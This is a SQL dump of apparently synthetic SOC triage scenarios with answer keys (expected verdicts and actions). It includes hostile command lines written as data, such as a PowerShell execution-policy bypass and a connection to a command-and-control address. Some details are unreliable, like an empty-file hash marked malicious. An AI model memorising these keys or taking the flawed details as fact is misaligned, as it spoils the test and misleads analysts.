(2182, 'False Positive: Internal Network Scan Alert', 'low', 'Cuckoo Sandbox', 'An internal scan alert was triggered due to a legitimate network assessment being conducted by authorized personnel.', 'Lateral Movement', 'T1049', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.50\",\"dst_ip\":\"192.168.5.51\",\"username\":\"network_admin\",\"hostname\":\"security-tool\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.5.51\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The scan was part of a scheduled network assessment by the IT team, confirming no malicious intent.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2183, 'Packed Executable Detected via Cuckoo Sandbox Analysis', 'high', 'Cuckoo Sandbox', 'A packed executable was detected and analyzed, revealing malicious behavior indicative of a malware infection. The executable attempted to connect to a known malicious IP for command and control.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.101\",\"username\":\"jdoe\",\"hostname\":\"compromised-host\",\"command_line\":\"malicious.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malware C2 servers\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware family\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file packed, common in malicious activities\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable\'s network activity and file behavior confirmed malicious intent.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2184, 'Suspicious Macro Detected in Document via Any.Run', 'critical', 'Any.Run', 'A document containing a suspicious macro was executed, leading to the download of additional malicious payloads. This indicates an ongoing malware infection attempt.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:47:29Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.42\",\"username\":\"asmith\",\"hostname\":\"office-pc\",\"command_line\":\"winword.exe /macro payload.docm\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple phishing and malware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash related to a known malicious macro\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"winword.exe /macro payload.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Macro execution in Office document, often used in attacks\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the affected user\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro\'s behavior and communication with a known malicious IP confirm the attack.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2185, 'Ghidra Analysis Reveals Obfuscated Malware Behavior', 'medium', 'Ghidra', 'A binary analyzed with Ghidra shows obfuscation techniques commonly used by malware to avoid detection. The binary attempts to execute suspicious scripts.', 'Malware', 'T1027', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:12:54Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"203.0.113.77\",\"username\":\"mjohnson\",\"hostname\":\"developer-workstation\",\"command_line\":\"obfuscation.exe\",\"file_hash\":\"098f6bcd4621d373cade4e832627b4f6\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP used in phishing and malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"098f6bcd4621d373cade4e832627b4f6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File hash linked to obfuscated malware samples\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"obfuscation.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable employs obfuscation, a common malware technique\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the developer\'s workstation\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The obfuscation techniques and network activity confirm the presence of malware.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2186, 'Benign Activity Misclassified as Malware via IDA Pro', 'low', 'IDA Pro', 'A benign application was flagged due to its use of packing techniques similar to those used by malware, but further analysis revealed no malicious intent.', 'Malware', 'T1027', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"10.0.0.10\",\"username\":\"kwhite\",\"hostname\":\"packaging-server\",\"command_line\":\"safe_application.exe\",\"file_hash\":\"4621d373cade4e832098f6bcd4b6b8e5\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"4621d373cade4e832098f6bcd4b6b8e5\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash verified as a known clean application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"safe_application.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Executable verified as safe with no malicious behavior\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the packaging server\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the network\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The application\'s packing techniques are legitimate, resulting in a false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2187, 'Cuckoo Sandbox False Positive on Legitimate Software Update', 'low', 'Cuckoo Sandbox', 'A software update process was mistakenly flagged as malicious due to network behavior typical of update processes, but no malicious activity was found.', 'Malware', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:03:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.20\",\"dst_ip\":\"192.0.2.5\",\"username\":\"rsmith\",\"hostname\":\"update-server\",\"command_line\":\"update.exe\",\"file_hash\":\"6bcd4621d373cade4e832098f6b8e5f0\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"6bcd4621d373cade4e832098f6b8e5f0\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash recognized as a legitimate software update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command typical of software updates, confirmed harmless\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the update server\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.0.2.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for update distribution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Network traffic was consistent with legitimate update distribution.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2188, 'Suspicious Packed Executable Detected', 'high', 'Cuckoo Sandbox', 'A packed executable was detected executing from an unusual directory with signs of obfuscation. Reverse engineering tools suggest potential for malware.', 'Malware', 'T1027', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.76\",\"username\":\"jdoe\",\"hostname\":\"workstation123\",\"command_line\":\"C:\\\\Temp\\\\packed_executable.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash reported in multiple malware repositories\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in several malware distribution activities\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable and associated external IP are flagged as malicious, indicating a potential compromise.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2189, 'Potential False Positive: Executable Detected', 'medium', 'Any.Run', 'An executable was detected running on an employee\'s machine, flagged due to unusual execution patterns, but appears benign.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.90\",\"username\":\"asmith\",\"hostname\":\"laptop789\",\"command_line\":\"C:\\\\Users\\\\asmith\\\\Documents\\\\benign_tool.exe\",\"file_hash\":\"e2fc714c4727ee9395f324cd2e7f331f\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e2fc714c4727ee9395f324cd2e7f331f\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash not associated with known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.90\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable is a legitimate tool used by the employee, with no malicious indicators.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2190, 'Malicious Macro Execution Detected', 'critical', 'Ghidra', 'A malicious macro was executed, exploiting document vulnerabilities to gain persistence on the network.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"198.51.100.200\",\"username\":\"kwhite\",\"hostname\":\"desktop456\",\"request_body\":\"Base64: TWFsaWNpb3VzTWFjcm9FeGVjdXRpb24=\",\"command_line\":\"winword.exe /macro MaliciousMacro\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP involved in command and control activities\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"Base64: TWFsaWNpb3VzTWFjcm9FeGVjdXRpb24=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Macro execution attempt detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro execution indicates an attempt to exploit document vulnerabilities for persistence.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2191, 'Unusual Network Behavior: Internal Traffic Spike', 'medium', 'Cuckoo Sandbox', 'An unexpected spike in internal network traffic was observed, originating from a development server, but analysis shows no malicious intent.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:10:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"192.168.3.55\",\"username\":\"svc_dev\",\"hostname\":\"dev-server01\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic spike was due to a scheduled data migration, not malicious activity.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2192, 'Malware Command and Control Communication', 'critical', 'IDA Pro', 'A suspected malware sample was analyzed, revealing communication with a known command and control server, indicating a potential compromise.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:50:25Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.20\",\"dst_ip\":\"203.0.113.155\",\"username\":\"nmartin\",\"hostname\":\"server002\",\"command_line\":\"malware_sample.exe /connect 203.0.113.155\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.155\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known command and control servers\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"malware_sample.exe /connect 203.0.113.155\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates communication with C2 server\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The communication with a known malicious IP suggests a compromised host.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2193, 'Malicious Macro Detected in Email Attachment', 'high', 'Proofpoint', 'A macro-enabled document was detected in an email attachment sent from an unknown external domain. The macro attempts to download additional payloads upon execution.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.1.10\",\"email_sender\":\"attacker@example.com\",\"hostname\":\"victim-pc01\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\victim\\\\Downloads\\\\malware.docm\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1123 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email domain associated with phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware analyses\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro-enabled document is designed to execute upon opening, attempting to establish a connection to an external IP for further payload download.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2194, 'Suspicious Network Connection from Internal Machine', 'medium', 'Cuckoo Sandbox', 'An internal machine initiated a network connection to a known Command and Control server. The executable responsible was packed and evaded basic detection.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"198.51.100.23\",\"username\":\"jdoe\",\"hostname\":\"workstation-02\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"command_line\":\"C:\\\\Program Files\\\\malicious.exe\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP identified as Command and Control server in recent attacks\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Packed executable observed in various malware campaigns\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The network connection to a known C2 server indicates potential data exfiltration or further command execution.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2195, 'Potential Phishing Email with Suspicious Link', 'medium', 'Proofpoint', 'A suspicious email was received containing a link to a malicious domain impersonating a well-known financial institution.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"104.16.45.35\",\"dst_ip\":\"192.168.3.8\",\"email_sender\":\"no-reply@banksecure.com\",\"hostname\":\"user-laptop\",\"url\":\"http://secure-bank-login.com/login\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.16.45.35\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-bank-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL mimics legitimate bank login page to harvest credentials\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email attempts to deceive the user into entering their credentials on a fake login page.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2196, 'Non-Malicious Base64 Encoded Web Request', 'low', 'Any.Run', 'A web request was detected with Base64 encoded content that initially appeared suspicious but decoded to benign activity.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.5.20\",\"dst_ip\":\"203.0.113.45\",\"username\":\"webuser\",\"hostname\":\"webserver-01\",\"request_body\":\"Z2V0IHBhZ2U=\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with any malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"Z2V0IHBhZ2U=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Base64 content decoded to harmless command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The Base64 content decoded to a harmless command, indicating routine web activity.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2197, 'Unusual Internal IP Communication Flagged as Suspicious', 'medium', 'Ghidra', 'An internal IP communicated with another internal IP on an unusual port, initially flagged as suspicious but determined to be benign after analysis.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin\",\"hostname\":\"server-01\",\"command_line\":\"nc -zv 10.0.0.10 3389\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP conducting routine administrative task\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nc -zv 10.0.0.10 3389\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for legitimate internal network checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The internal communication was part of scheduled maintenance and not indicative of lateral movement.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2198, 'Packed Executable Detected via IDA Pro Analysis', 'high', 'IDA Pro', 'A packed executable was detected through reverse engineering with IDA Pro, exhibiting suspicious execution patterns. The executable attempts to establish a network connection to a known malicious IP.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:32:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"198.51.100.45\",\"username\":\"jdoe\",\"hostname\":\"workstation-12\",\"command_line\":\"C:\\\\Windows\\\\temp\\\\suspicious.exe\",\"file_hash\":\"3b5d5c3712955042212316173ccf37be\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 947 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b5d5c3712955042212316173ccf37be\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with multiple malware signatures\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious IP and hash confirms this as a true positive malware attack.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2199, 'Malicious Macro Document Execution via Ghidra', 'critical', 'Ghidra', 'Ghidra identified a document with malicious macros attempting to execute a PowerShell command to download additional payloads.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.75\",\"username\":\"bsmith\",\"hostname\":\"laptop-09\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\bsmith\\\\AppData\\\\Local\\\\Temp\\\\malicious.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP linked to command and control infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as part of a known malware campaign\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal client IP address\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\bsmith\\\\AppData\\\\Local\\\\Temp\\\\malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell command used for downloading additional payloads\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Confirmed malicious activity due to the execution of a known bad hash and malicious PowerShell command.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
